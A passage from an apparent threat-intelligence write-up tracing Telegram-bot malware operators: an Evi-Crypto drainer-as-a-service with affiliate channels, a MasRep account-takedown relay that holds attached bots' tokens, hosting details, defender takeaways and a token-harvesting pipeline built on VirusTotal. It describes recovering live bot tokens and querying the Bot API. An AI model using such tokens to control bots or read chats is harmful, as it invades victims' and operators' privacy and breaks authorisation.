- @evicrypto_news, feature announcements: Trust Wallet phishing designs, TonConnect drainer, fake-coin generation, airdrop/staking lures (Fragment Spin, Rocky Rabbit), TON/NOT/USDT/EVM.
- @evi_campus, one hop downstream from @Evi_Manuals (the “only the last spot left” pitch links here, not the front bot): a paid “academy” with limited enrolment; @Pullman_TC is the traffic/team recruiting contact.
Figure 19: From one bot to a crypto-drainer MaaS: bot → bot → its three channels (plus a downstream academy) → what each channel reveals
How the message screenshots below were captured
They come from Telegram’s public web preview (t.me/s/<channel>), which renders a public channel’s posts in a browser. The channels were not joined, no messages were forwarded, and nothing shown is from a private chat. These are the operators’ own marketing and “payout” posts, published to recruit affiliates; no victim data appears in them, and any identifier that did would be redacted.
The affiliate layer is public: @EviCrypto_cash is a continuous feed of “payout” posts, each stamped with the team hashtag that gets the credit, the kind of social proof an affiliate programme uses to recruit:

Figure 20: @EviCrypto_cash: “payout” posts tagged by affiliate team (#BAZA_Drainello, …) with claimed balances
The flagship product is Evi-Rent: turnkey rental of bot + drainer + landing pages + operator support. It is a full drainer-as-a-service, with an affiliate programme, a training arm, manuals, and a public (self-reported) payout-proof feed.
There is, however, no public price anywhere. The academy is sold on scarcity rather than a listed price: the pitch in @Evi_Manuals reads “Professional FB-traffic training from Evi-Crypto … only the last spot left — catch the first cohort” and links to @evi_campus. The actual cost, if any, is named only inside the private groups:

Figure 21: The @Evi_Manuals enrolment pitch “only the last spot left”: scarcity, no listed price
Real drainer, or a grift aimed at aspiring scammers? Plausibly both
It is worth being precise about what is proven. Verified: the lure’s obv2.js is a working TonConnect drainer (manifest → /api/getTxData → sendTransaction), and the bot in the collection serves it. Not verified: everything that would quantify victims sits behind a gate. The manuals, the @evi_campus academy and the Evi-Rent rental are all teaser-posts linking to invite-only/private groups that were not joined, sold on limited-spots scarcity with no public price. And the @EviCrypto_cash “payout proof” (#BAZA_* tags and balances) is easily fabricated, which is exactly the social proof used to attract low-skill affiliates. The likely read: a drainer kit wrapped in an affiliate-funnel grift, where a meaningful share of the revenue may come from the aspiring fraudsters paying for access, not only from drained wallets.
13.4 Case study D — MasRep: account-takedown as a service
This one starts from the Webhook column and follows it the other way, to a service those operators pay for. The geolocation map already noted one recurring webhook host, whok.dyxless.im (×15), as Russian-language leak-lookup infrastructure (Section 13.2). It is worth following.
Step 1: what the webhook path gives away. Fifteen bots in the collection point their webhook at the same host, in the same shape (Section 7):
https://whok.dyxless.im/webhook/<bot_id>:<secret>The path is not a random endpoint id; it is the bot’s full token. Whoever runs whok.dyxless.im therefore holds, for each of these bots, both its incoming traffic and the credential needed to control it.
Step 2: the service behind it. Ten of the fifteen carry an identical bot_description, the same Coptic-homoglyph text noted in Section 13.2. Decoded, it is the advert for MasRep, an account-takedown («снос») service. It reads as a feature list rather than a price list, with no price anywhere: daily-refreshed “quality sessions,” “the most effective takedown operator,” “no visible trace,” and account “protection” offered alongside. The recruiting line explains why bots end up attached at all:
“Get 3 free attacks by attaching your own bots — no limit on the number. /start → Partner programme → Add a bot.”
Figure 22: The advert as stored in bot_description: Coptic look-alike characters (left) decode to a Russian account-takedown pitch (right)
Attaching a bot points its webhook at the relay, which is how MasRep ends up holding the token (Step 1); the three free runs are the incentive, and the attach flow itself was not observed. Those “attacks” are aimed at a Telegram account, not a network or a site, so this is report-to-ban rather than the traffic flooding a DDoS service sells. How the bans are achieved is not stated, but the advertised pool of accounts points to coordinated mass-reporting, the usual route to forcing a Telegram account offline.
Step 3: provider and customers, kept apart. The fifteen are not one operator, and the clustering (Section 10) keeps them apart. It keys on each bot’s full webhook URL, not on the shared host (grouping on the host would merge every customer into a single false operator), and links bots by their description and artefacts instead. The ten that share the MasRep advert cluster together; the other five carry their own descriptions, or none (a casino promo, an “earn 20,000 roubles” lure, a bare /start), and are the bots of separate customers. All ten of the MasRep-advert bots also carry a commodity stealer/RAT label (XWorm and similar), so the lookup brand, the takedown service and ordinary malware C2 overlap on the same infrastructure.
Step 4: built to be reported and survive it. whok.dyxless.im resolves to 186.2.171.2. The address is registered to IQWeb FZ-LLC (RDAP netname IQWEB-LLC-NET, routed in AS59692) and answers with Server: ddos-guard, which makes it a DDoS-Guard edge rather than the origin server: protection in front of the operator’s own host, not something they sell. The certificate is a wildcard *.dyxless.im (Sectigo DV). The rest of the estate is spread across separate but similarly fronted hosts:
| Host | A record | Role |
|---|---|---|
dyxless.im | 103.249.70.43 | main site |
api.dyxless.im | 103.249.70.46 | API |
report.dyxless.im | 185.111.111.154–157 | rotating |
whok.dyxless.im | 186.2.171.2 | webhook relay (DDoS-Guard) |
The advert also points users to “backup links” in the bot menu, the kind of fallback an operator keeps when it expects its own channels to be reported.
Figure 23: From fifteen attached bots through the whok.dyxless.im relay to a DDoS-Guard edge and a hidden origin; the dyxless lookup bot shares the same estate
The other face of dyxless. The host is more than a relay. dyxless also markets itself directly: its own YouTube channel, “Dyxless OSINT” (@dyxless_bot), advertises a lookup bot for individuals and legal entities, described in the promo as “an open-source-intelligence system … using the newest and unique databases.” The “open sources” label is generous: by public accounts the bot returns passport, SNILS, call-detail and criminal-record data, which is breach and insider material rather than anything public. So dyxless shows two faces on one estate: a data-lookup service it advertises directly, and the infrastructure behind MasRep’s account-takedown relay. Whether the two share an operator, rather than just an estate, is not established.
14. Key takeaways for defenders
Most of this post is about building the collection. If you defend a network, here is the short version of what to do with it.
- Hunt for
api.telegram.org/botURLs wherever they leak. - Recover the token and
chat_idwhere you are allowed to.getMealone tells you whether the token is live, what the bot is called and how it is set up (Section 3). Going further than that is a legal and operational call, not a technical one. - Pivot on everything the bot volunteers. A webhook URL points at a second piece of infrastructure you can chase in passive DNS and TLS history (Section 7). The command list gives away capability (Section 8). Bot descriptions and menu URLs tie separate bots back to one shared service (Sections 8 and 10). A chat that keeps receiving new samples is one human who never moved on (Section 11.4). Each of these is a clustering key as much as an IOC.
- Treat a positive
chat_idas sensitive. It is the operator’s own Telegramuser_id(Section 3), and with a careless operator it collapses straight to a real person (Section 13.1). Handle it like any other high-value identifier, and redact it before you share. - Do not use a recovered token to read victim data. A live token would let you forward the messages. Everything useful here came from the bot’s own metadata, not from the chat traffic. Stay on that side of it.
15. Conclusion
The Telegram Bot API turns a one-line exfiltration shortcut into a durable intelligence surface. Because the malware must carry a bearer token and a destination chat, anyone who recovers them can passively query the operator’s own bot for its name, its chat, its member count, its registered C2 verbs, its webhook, and, while the bot is still in the chat, the operator’s user id and photo history. None of it requires touching a victim.
The whole pipeline, end to end
Stepping back, the full chain is six stages, and the diagram below holds the whole thing in one picture:
Figure 24: The full pipeline, from VirusTotal pivot to clustered intelligence
- Pivot: first, page through every file VirusTotal links to
api.telegram.org, scanning each page’s static metadata for embeddedbot…URLs as it lands; then query each of those files a second time for itscontacted_urls, the URLs the sample actually contacted at runtime. - Extract: pull the
bot<token>andchat_idout of those contacted URLs. - Store: write the findings into PocketBase.
- Enrich: ask the Bot API everything it volunteers: chat name, member count, admins/creator, commands, webhook, and profile photos.
- Classify: label each sample’s family and category through VirusTotal, and attach a behavioural report through tria.ge.
- Cluster: fuse chats into operators.
From that single pivot, a collection was built that, as of 9 July 2026 (bounded to samples first seen between 2016 and December 2025), holds 9,898 rows, 9,756 unique samples and 6,512 chats, and is still growing daily as the rest of the back-catalogue is imported. It was enriched through the Bot API, classified through VirusTotal and tria.ge, and fused into 854 operator campaigns.
It is slower and messier than it looks
None of this is instant, and the bottleneck is almost entirely rate limits and quotas rather than cleverness:
- VirusTotal is the main constraint. A public API key allows roughly 4 lookups/minute and ~500 requests/day, and every file needs at least one
contacted_urlscall on top of the paging, so a full pass over all files takes months. - The Telegram Bot API throttles too. The enrichment pass paces itself (≈1 s per bot+chat) to stay under Telegram’s limits, which is why it runs as a daily cron over only the new records rather than the whole set each time.
- tria.ge has its own per-second cap, so the classification pass is likewise paced.
Sharing the dataset
I am happy to share this dataset with other trusted organisations or LEA, for collaborative tracking, enrichment, or correlation against your own telemetry.
If you would like access or want to collaborate, please reach out:
Trusted-organisation basis only. Live tokens and active webhooks are handled responsibly and shared partially redacted where appropriate.